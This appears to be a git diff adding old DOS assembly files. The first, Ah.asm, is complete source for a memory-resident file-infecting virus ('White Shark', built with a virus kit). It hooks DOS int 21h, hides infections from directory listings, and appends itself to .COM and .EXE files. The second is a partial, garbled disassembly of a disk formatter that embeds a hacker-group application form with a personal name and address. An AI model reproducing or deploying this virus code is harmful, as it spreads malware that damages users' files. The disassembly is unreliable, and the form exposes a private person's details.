'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAA' +loc_63: + mov ah,9 + mov dx,offset data_14 ; (936E:0103=90h) + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + +seg_a ends + + + + end start diff --git a/a/Ah.asm b/a/Ah.asm new file mode 100755 index 0000000..b0f9551 --- /dev/null +++ b/a/Ah.asm @@ -0,0 +1,415 @@ +; AH.asm : Mess with White Shark and you'll be eaten alive! +; Created with Biological Warfare - Version 0.90 by MnemoniX + +PING equ 0AE8Eh +PONG equ 0A09Eh +STAMP equ 31 +MARKER equ 05753h + +code segment + org 0 + assume cs:code,ds:code + +start: + db 0E9h,3,0 ; to virus +host: + db 0CDh,20h,0 ; host program +virus_begin: + call $ + 3 ; BP is instruction ptr. + pop bp + sub bp,offset $ - 1 + + push ds es + + cli + mov ax,PING ; mild anti-trace code + push ax + pop ax + dec sp + dec sp + pop bx + cmp ax,bx + je no_trace + hlt + +no_trace: + sti + in al,21h ; lock out & reopen keyboard + xor al,2 + out 21h,al + xor al,2 + out 21h,al + + mov ax,PING ; test for residency + int 21h + cmp bx,PONG + je installed + + mov ax,es ; Get PSP + dec ax + mov ds,ax ; Get MCB + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupts + mov ds,ax + + sub word ptr ds:[413h],(MEM_SIZE+1023) / 1024 + + mov si,21h * 4 ; get original int 21 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr ds:[si - 4],offset new_int_21 + mov ds:[si - 2],es ; and set new int 21 + +installed: + call activate ; activation routine + + pop es ds ; restore segregs + cmp sp,MARKER ; check for .EXE + je exe_exit + +com_exit: + lea si,[bp + host] ; restore host program + mov di,100h + push di + movsw + movsb + + call fix_regs ; fix up registers + ret ; and leave +exe_exit: + mov ax,ds ; fix up return address + add ax,10h + push ax + add ax,cs:[bp + exe_cs] + mov cs:[bp + return_cs],ax + + mov ax,cs:[bp + exe_ip] + mov cs:[bp + return_ip],ax + + pop ax + add ax,cs:[bp + exe_ss] ; restore stack + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + + call fix_regs ; fix up registers + sti + + db 0EAh ; back to host program +return_ip dw 0 +return_cs dw 0 + +exe_cs dw -16 ; orig CS:IP +exe_ip dw 103h +exe_sp dw -2 ; orig SS:SP +exe_ss dw -16 + +fix_regs: + xor ax,ax + cwd + xor bx,bx + mov si,100h + xor di,di + xor bp,bp + ret + +; interrupt 21 handler +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,PING ; residency test + je ping_pong + cmp ah,11h ; directory stealth + je dir_stealth + cmp ah,12h + je dir_stealth + cmp ah,4Eh ; directory stealth + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh ; file open + je file_open + cmp ax,4B00h ; execute program + jne int_21_exit + jmp execute +int_21_exit: + db 0EAh ; never mind ... +old_int_21 dd 0 + +ping_pong: + mov bx,PONG + iret + +dir_stealth: + call int_21 ; get dir entry + test al,al + js dir_stealth_done + + push ax bx es + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 +no_ext_FCB: + mov ax,es:[bx + 17h] ; check for infection marker + and al,31 + cmp al,STAMP + jne dir_fixed + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Fh],0 +dir_fixed: + pop es bx ax +dir_stealth_done: + iret + +dir_stealth_2: + pushf + call dword ptr cs:[old_int_21] + jc dir_stealth_done_2 + +check_infect2: + push ax bx es + + mov ah,2Fh + int 21h + mov ax,es:[bx + 16h] + and al,31 ; check timestamp + cmp al,STAMP + jne fixed_2 + + sub es:[bx + 1Ah],VIRUS_SIZE + 3 + sbb word ptr es:[bx + 1Ch],0 + +fixed_2: + pop es bx ax + clc ; clear carry +dir_stealth_done_2: + retf 2 + +file_open: + push ax cx di es + call get_extension + cmp [di],'OC' ; .COM file? + jne perhaps_exe ; perhaps .EXE then + cmp byte ptr [di + 2],'M' + jne not_prog + jmp a_program +perhaps_exe: + cmp [di],'XE' ; .EXE file? + jne not_prog + cmp byte ptr [di + 2],'E' + jne not_prog +a_program: + pop es di cx ax + jmp execute ; infect file +not_prog: + pop es di cx ax + jmp int_21_exit + +execute: + push ax bx cx dx si di ds es + + xor ax,ax ; critical error handler + mov es,ax ; routine - catch int 24 + mov es:[24h * 4],offset int_24 + mov es:[24h * 4 + 2],cs + + mov ax,4300h ; change attributes + int 21h + + push cx dx ds + xor cx,cx + call set_attributes + + mov ax,3D02h ; open file + call int_21 + jc cant_open + xchg bx,ax + + push cs ; CS = DS + pop ds + + mov ax,5700h ; save file date/time + int 21h + push cx dx + mov ah,3Fh + mov cx,28 + mov dx,offset read_buffer + int 21h + + cmp word ptr read_buffer,'ZM' ; .EXE? + je infect_exe ; yes, infect as .EXE + + mov al,2 ; move to end of file + call move_file_ptr + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr read_buffer + 1 + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr new_jump + 1,dx + + mov dx,offset read_buffer ; save original program head + int 21h + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + mov dx,offset virus_begin + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + mov dx,offset new_jump ; and write new jump + int 21h + +fix_date_time: + pop dx cx + and cl,-32 ; add time stamp + or cl,STAMP ; for directory stealth + mov ax,5701h ; restore file date/time + int 21h + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit ; leave + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret +infect_exe: + cmp word ptr read_buffer[16],MARKER + je dont_infect ; infected already + + les ax,dword ptr read_buffer[20] + mov exe_cs,es ; CS + mov exe_ip,ax ; IP + + les ax,dword ptr read_buffer[14] + mov exe_ss,ax ; SS + mov exe_sp,es ; SP + mov word ptr read_buffer[16],MARKER + + mov ax,4202h ; to end of file + cwd + xor cx,cx + int 21h + + push ax dx ; save file size + + push bx + mov cl,12 ; calculate offsets for CS + shl dx,cl ; and IP + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr read_buffer[8] + mov word ptr read_buffer[22],dx + mov word ptr read_buffer[20],ax + add dx,100 + mov word ptr read_buffer[14],dx + + pop dx ax ; calculate prog size + + add ax,VIRUS_SIZE + 3 + adc dx,0 + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr read_buffer[2],dx + mov word ptr read_buffer[4],ax + + mov ah,40h + mov cx,VIRUS_SIZE + 3 + mov dx,offset virus_begin + int 21h + + + mov ax,4200h ; back to beginning + cwd + xor cx,cx + int 21h + + mov ah,40h ; and fix up header + mov cx,28 + mov dx,offset read_buffer + int 21h + jmp fix_date_time ; done + +courtesy_of db '[BW]',0 +signature db 'Mess with White Shark and you'll be eaten alive!',0 + + +activate: + ; Insert your routine here + ret +get_extension: + push ds ; find extension + pop es + mov di,dx + mov cx,64 + mov al,'.' + repnz scasb + ret +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/a/Ahadisk.asm b/a/Ahadisk.asm new file mode 100755 index 0000000..41a32c3 --- /dev/null +++ b/a/Ahadisk.asm @@ -0,0 +1,4042 @@ + +PAGE 59,132 + +; +; +; AHADISK +; +; Created: 29-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 0 +data_2e equ 1 +data_3e equ 3 +data_4e equ 94h +keybd_flags_1_ equ 417h +dsk_recal_stat_ equ 43Eh +dsk_motor_stat_ equ 43Fh +dsk_motor_tmr_ equ 440h +video_mode_ equ 449h +video_port_ equ 463h +timer_low_ equ 46Ch +hdsk0_media_st_ equ 490h +data_16e equ 1000h ;* +data_17e equ 0 ;* +data_18e equ 3 ;* +data_234e equ 7C3Eh ;* + +;-------------------------------------------------------------- seg_a ---- + +seg_a segment byte public + assume cs:seg_a , ds:seg_a + + +; +; +; Program Entry Point +; +; + + +ahadisk proc far + +start: + jmp loc_262 +data_24 db 0, 0 +data_25 dw 0 +data_26 dw 0 +data_27 dw 0 +data_28 db 0 +data_29 db 0 +data_30 db 0 + db 0 +data_31 dw 1 +data_32 db 19h + db 0 +data_33 db ' ', 0 + db 27h, 0 + db '.', 0 + db ' 360 K', 0 + db ' 1.2 M', 0 + db ' 720 K', 0 + db '1.44 M', 0 +data_37 db 0FFh + db 11h,0FFh +data_38 db 1Dh + db 0FFh, 11h,0FFh, 23h +data_39 db 1 + db 0, 2, 0 +data_40 db 23h + db 00h, 3Bh, 00h, 23h, 00h, 47h + db 00h +data_41 db 2 + db 1, 2 +data_42 db 1 +data_43 db 0DFh + db 0DFh,0DFh,0AFh +data_44 db 9 + db 0Fh, 09h, 12h +data_45 db 2Ah + db 1Bh, 2Ah, 1Ah +data_46 db 50h + db 54h, 50h, 6Ch +data_47 db 0FDh + db 0F9h,0F9h,0F0h +data_48 db 70h + db 0 + db 0E0h, 00h + +locloop_2: + jo loc_3 ; Jump if overflow=1 +loc_3: + loopnz $+2 ; Loop if zf=0, cx>0 + + rol byte ptr [bp+si],1 ; Rotate + db 60h, 09h,0A0h, 05h, 40h, 0Bh +data_50 db 2 + db 0, 7, 0, 3, 0, 9 + db 0 +data_51 db 62h + db 01h, 43h, 09h,0C9h, 02h, 1Fh + db 0Bh +data_52 db 6 + db 1, 4, 3 +data_53 db 0 +data_54 dw 0 +data_55 db 0 +data_56 db 0 +data_57 db 2Ah +data_58 db 50h +data_59 db 0 +data_60 db 0, 0 +data_61 dw 0 +data_62 db 0 +data_63 db 0 +data_64 db 0 +data_65 db 0 +data_66 db 0 +data_67 dw 0 +data_68 dw 0 +data_69 db 0 +data_70 db 0 +data_71 db 0 +data_72 db 0 +data_73 db 0 +data_74 db 0 +data_75 db 0 +data_76 db 0 +data_77 db 0 +data_78 db 0 +data_79 db 0 +data_80 db 0 +data_81 dw 130Dh +data_82 dw 0 +data_84 dw 0 +data_85 dw 0 +data_86 dw 0 +data_87 dw 0 +data_88 dw 0 +data_89 dw 0 +data_90 dw 0 +data_91 dw 0 +data_92 dw 0 +data_93 dw 0 +data_94 db 0 +data_95 db 0 +data_96 db 0Bh +data_97 db 0 +data_98 db 0, 0 +data_99 db 0 +data_100 dw 0 +data_101 db 0 +data_102 db 0 +data_103 db 0 +data_104 db 0 +data_105 dw 0 +data_106 dw 0 +data_107 db 0 +data_108 db 0 +data_109 db 0 +data_110 db 6 +data_111 db 0A0h +data_112 db 0 +data_113 db 0 + db 11 dup (0) +data_115 db 0 + db 9 dup (0) + +ahadisk endp + +; +; SUBROUTINE +; + +sub_2 proc near + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+di],al + add [bx],cl + add [bx+di],al + add [bp+si],cl + add [si+0],ah +;* call sub_5 ;* + db 0E8h, 03h, 10h + daa ; Decimal adjust + mov al,byte ptr ds:[4086h] + inc dx + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + ja $+7 ; Jump if above + add [bx+si],al + add [bx+si],al + pop dx + xor ax,355Ah + pop dx + xor ax,577h + add [bx+si],al + +; External Entry into Subroutine + +sub_3: + add [bx+si],al + add [bx+si],al + add [bx+si],al + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + pop dx + xor ax,577h + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add bh,dh +;* pop cs ; Dangerous 8088 only + db 0Fh +;* jo loc_4 ;*Jump if overflow=1 + db 70h,0FFh + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [di+6Eh],al + jz loc_5 ; Jump if zero + jc $+22h ; Jump if carry Set + inc sp + jc $+6Bh ; Jump if carry Set + jbe loc_6 ; Jump if below or = + and [si+6Fh],dl + and [bp+si+65h],al + and [bp+6Fh],al + jc $+6Fh ; Jump if carry Set + db 61h, 74h, 20h, 3Fh, 20h, 5Bh + db 'A' + db 5Dh, 00h + db 'Enter Drive Type ? (0 - 360K, 1 ' + db '- 1.2M) [0]' + db 0 + db 'Enter Drive Type ? (0 - 720K,' +loc_5: + and [bx+di],dh + and [di],ch + and [bx+di],dh +loc_6: + db '.44M) [0]' + db 0 + db 'Number Of Diskette To Be Format ' + db '(1-11) [' +data_182 dw 3131h + db 5Dh, 20h, 3Fh, 20h, 00h + db 'Insert New Diskette Into Drive ' +data_183 db 41h + db 0 + db 'Press ENTER To Start Format Or E' + db 'SC To Abort' + db 0 + db 'Can', 27h, 't Release From Memor' + db 'y, Interrupt Vector Address Been' + db ' Changed' + db 0 + db 'Press Any Key To Return To Main ' + db 'Menu' + db 0 + db 'No Format Report !' + db 00h, 00h, 00h, 00h, 00h, 2Dh + db 00h, 00h, 00h, 00h, 00h + db 43h, 70h +data_184 db 'HpApNpGpEpEpRpRpOpRp!pFpIpNpIpSp' + db 'Hp p p', 0 + db 'p', 0 + db 'p p pDisk Not Ready !', 0 + db 'Disk Write Protected !', 0 + db 'Seek Error !', 0 + db 'Abort or Retry ?', 0 + db 'Track 0 Bad, Diskette Unusable !' + db 0 + db 'Program Interrupted !', 0 + db 'Ready Printer, Press ENTER When ' + db 'Ready !', 0 + db 'Printing ....', 0 + db 'I/O Error !', 0 + db 'Printer Not Ready !', 0 + db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 13h, 20h,0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh,0CDh,0B9h,0BAh, 01h, 4Eh + db 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h + db 4Eh, 20h + db 0BAh,0C8h, 01h, 4Eh,0CDh,0BCh + db 01h, 87h,0D0h, 1Fh,0C9h, 01h + db 4Eh,0CDh,0BBh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 13h, 20h + db 0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh,0CDh,0B9h,0BAh, 01h, 1Ch + db 20h + db 0DAh, 01h, 15h,0C4h,0BFh, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0B3h + db ' Print Out ' + db 0ADh + db 'aHa/nBa! ' + db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0C0h, 01h, 15h + db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh + db 0BAh, 01h, 1Ch, 20h,0DAh, 01h + db 15h,0C4h + db 0BFh, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0B3h, 01h, 04h + db ' Start format' + db 01h, 05h, 20h,0B3h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0C0h, 01h, 15h,0C4h,0D9h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0DAh, 01h, 15h,0C4h,0BFh + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 1Ch, 20h,0B3h, 01h, 04h + db ' Format report' + db 01h, 04h, 20h,0B3h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0C0h, 01h, 15h,0C4h,0D9h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0DAh, 01h, 15h,0C4h,0BFh + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 1Ch, 20h,0B3h + db ' Track display o' +data_187 dw 206Eh + db 20h, 20h,0B3h, 01h, 1Bh, 20h + db 0BAh,0BAh, 01h, 1Ch, 20h,0C0h + db 01h, 15h,0C4h,0D9h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0DAh, 01h, 15h,0C4h,0BFh, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0B3h + db ' Release from memory ' + db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0C0h, 01h, 15h + db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh + db 0BAh, 01h, 1Ch, 20h,0DAh, 01h + db 15h,0C4h,0BFh, 01h, 1Bh, 20h + db 0BAh,0BAh, 01h, 1Ch, 20h,0B3h + db 01h, 09h, 20h, 45h, 78h, 69h + db 74h, 01h, 08h, 20h,0B3h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0C0h, 01h, 15h,0C4h,0D9h + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh + db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh + db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 13h, 20h,0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh + db 0CDh,0B9h,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0CCh, 01h + db 17h + db 0CDh,0D1h, 01h, 0Fh,0CDh,0D1h + db 01h, 10h,0CDh,0D1h, 01h, 15h + db 0CDh,0B9h,0BAh, 01h + db 3 + db ' Drive To Be Format ' + db 0B3h, 01h, 03h + db ' Drive Type ' + db 0B3h + db ' Diskette No. ' + db 0B3h + db ' Total Diskette(s) ' + db 0BAh,0C7h, 01h, 17h,0C4h,0C5h + db 01h, 0Fh,0C4h,0C5h, 01h, 10h + db 0C4h,0C5h, 01h, 15h,0C4h,0B6h + db 0BAh, 01h, 0Bh + db 20h +data_188 db 41h + db 01h, 0Bh, 20h,0B3h, 01h, 05h + db 20h +data_189 db 31h + db 2Eh, 34h, 34h, 20h, 4Dh, 01h + db 04h, 20h,0B3h, 01h, 06h + db 20h +data_190 dw 3120h + db 01h, 08h, 20h,0B3h, 01h + db 09h, 20h +data_191 dw 3131h + db 1 + db 0Ah, 20h,0BAh,0C8h, 01h + db 17h,0CDh,0CFh, 01h, 0Fh,0CDh + db 0CFh, 01h, 10h,0CDh,0CFh, 01h + db 15h,0CDh,0BCh, 01h, 87h,0D0h + db 1Fh,0C9h, 01h, 4Eh,0CDh,0BBh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 13h + db ' Background Diskette Formatter S' + db 'tatus Report' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0CCh, 01h, 0Ch,0CDh + db 0D1h + db 01h, 15h,0CDh,0D1h, 01h, 11h + db 0CDh + db 0D1h, 01h, 19h,0CDh,0B9h,0BAh + db ' Diskette ' + db 0B3h, 01h, 07h, 20h, 56h, 6Fh + db 6Ch, 75h, 6Dh, 65h, 01h, 08h + db 20h,0B3h, 01h, 05h, 20h, 4Eh + db 6Fh, 2Eh, 20h, 4Fh, 66h, 01h + db 06h, 20h,0B3h, 01h, 04h + db ' Total Disk Space' + db 01h, 05h, 20h,0BAh,0BAh, 01h + db 05h, 20h, 4Eh, 6Fh, 2Eh, 01h + db 04h, 20h,0B3h, 01h, 04h + db ' Serial Number' + db 01h, 04h, 20h,0B3h + db ' Bad Cluster(s) ' + db 0B3h, 01h + db 8, ' In Bytes' + db 01h, 09h, 20h,0BAh,0C7h, 01h + db 0Ch,0C4h,0C5h, 01h, 15h,0C4h + db 0C5h, 01h, 11h,0C4h,0C5h, 01h + db 19h,0C4h,0B6h + db 0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0BAh, 01h + db 0Ch, 20h,0B3h, 01h, 15h, 20h + db 0B3h, 01h, 11h, 20h,0B3h, 01h + db 19h, 20h,0BAh,0BAh, 01h, 0Ch + db 20h,0B3h, 01h, 15h, 20h,0B3h + db 01h, 11h, 20h,0B3h, 01h, 19h + db 20h,0BAh,0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h, 20h,0B3h, 01h + db 11h + db 20h + db 0B3h, 01h, 19h, 20h,0BAh,0BAh + db 01h, 0Ch, 20h,0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0BAh, 01h + db 0Ch, 20h,0B3h, 01h, 15h, 20h + db 0B3h, 01h, 11h, 20h,0B3h, 01h + db 19h, 20h,0BAh,0BAh, 01h, 0Ch + db 20h,0B3h, 01h, 15h, 20h,0B3h + db 01h, 11h, 20h,0B3h, 01h, 19h + db 20h,0BAh,0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h, 20h,0B3h, 01h + db 11h, 20h,0B3h, 01h, 19h, 20h + db 0BAh,0BAh, 01h, 0Ch, 20h,0B3h + db 01h, 15h, 20h,0B3h, 01h, 11h + db 20h,0B3h, 01h, 19h, 20h,0BAh + db 0BAh, 01h, 0Ch, 20h,0B3h, 01h + db 15h, 20h,0B3h, 01h, 11h, 20h + db 0B3h, 01h, 19h, 20h,0BAh,0BAh + db 01h, 0Ch, 20h,0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0CCh, 01h + db 0Ch,0CDh,0CFh, 01h, 15h,0CDh + db 0CFh, 01h, 11h,0CDh,0CFh, 01h + db 19h,0CDh,0B9h,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 15h + db 20h, 50h + db 'ress Any Key To Return To Main M' + db 'enu' + db 01h, 15h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh + db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh + db 0Dh, 0Ah, 0Dh, 0Ah, 20h + db 9 dup (20h) + db 0ADh + db 'aHa/nBa! Application Form! ' + db ' ', 0Dh + db 0Ah, 'What file is this?', 0Dh, 0Ah + db ' Where Did ' + db 'you get it from?', 0Dh, 0Ah, ' ' + db ' Handle:', 0Dh, 0Ah + db ' Phone #:', 0Dh, 0Ah, ' ' + db ' ', 0Dh, 0Ah, ' ' + db ' List 3 boards whe' + db 're you could be reached at: ', 0Dh + db 0Ah, 0Dh, 0Ah, ' ' + db ' Can y' + db 'ou HaCK?', 0Dh, 0Ah, ' ' + db ' List a fe' + db 'w thigs you', 27h, 've hacked:', 0Dh + db 0Ah, 0Dh, 0Ah, ' ' + db ' Ok! Send MoneY, pft,' + db ' and this letter to:', 0Dh, 0Ah, ' ' + db ' Psycho', 0Dh + db 0Ah, ' 1340 W Irving', 0Dh + db 0Ah, ' #229', 0Dh, 0Ah, ' ' + db ' Chicago, IL', 0Dh, 0Ah, ' 60' + db '613', 0Dh, 0Ah, ' ' + db ' Ok! No' + db 'w, write about yourself: ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ' + db ' ', 0Ch, 0 + db '.' + db 80h, 3Eh, 2Dh, 02h, 00h, 74h + db 08h, 2Eh,0FEh, 0Eh, 2Dh, 02h + db 0EBh, 09h, 90h + db 2Eh,0F6h, 06h, 2Eh, 02h, 80h + db 75h, 05h +loc_32: + jmp dword ptr cs:[195h] +loc_33: + mov word ptr cs:[1EAh],ax + mov al,0Bh + out 20h,al ; port 20h, 8259-1 int command + jmp short $+2 ; delay for I/O + in al,20h ; port 20h, 8259-1 int IRR/ISR + and al,0FEh + mov ax,word ptr cs:[1EAh] + jz loc_34 ; Jump if zero + jmp short loc_32 +loc_34: + mov word ptr cs:[1FCh],ax + mov word ptr cs:[1FEh],bx + mov word ptr cs:[208h],sp + mov word ptr cs:[20Eh],ss + mov word ptr cs:[20Ch],ds + mov word ptr cs:[210h],es + mov word ptr cs:[20Ah],bp + mov word ptr cs:[204h],si + mov word ptr cs:[206h],di + mov word ptr cs:[200h],cx + mov word ptr cs:[202h],dx + mov ds,word ptr cs:[1E2h] + mov ss,word ptr ds:[1DAh] + mov sp,word ptr ds:[1DCh] + mov es,word ptr ds:[1E4h] + mov bp,word ptr ds:[1E0h] + mov si,word ptr ds:[1D8h] + mov di,word ptr ds:[1DEh] + mov ax,word ptr ds:[1D0h] + mov bx,word ptr ds:[1D2h] + mov cx,word ptr ds:[1D4h] + mov dx,word ptr ds:[1D6h] + jmp dword ptr cs:[195h] + mov word ptr cs:[1F8h],ds + mov word ptr cs:[1F6h],ax + mov word ptr cs:[1FAh],bx + mov 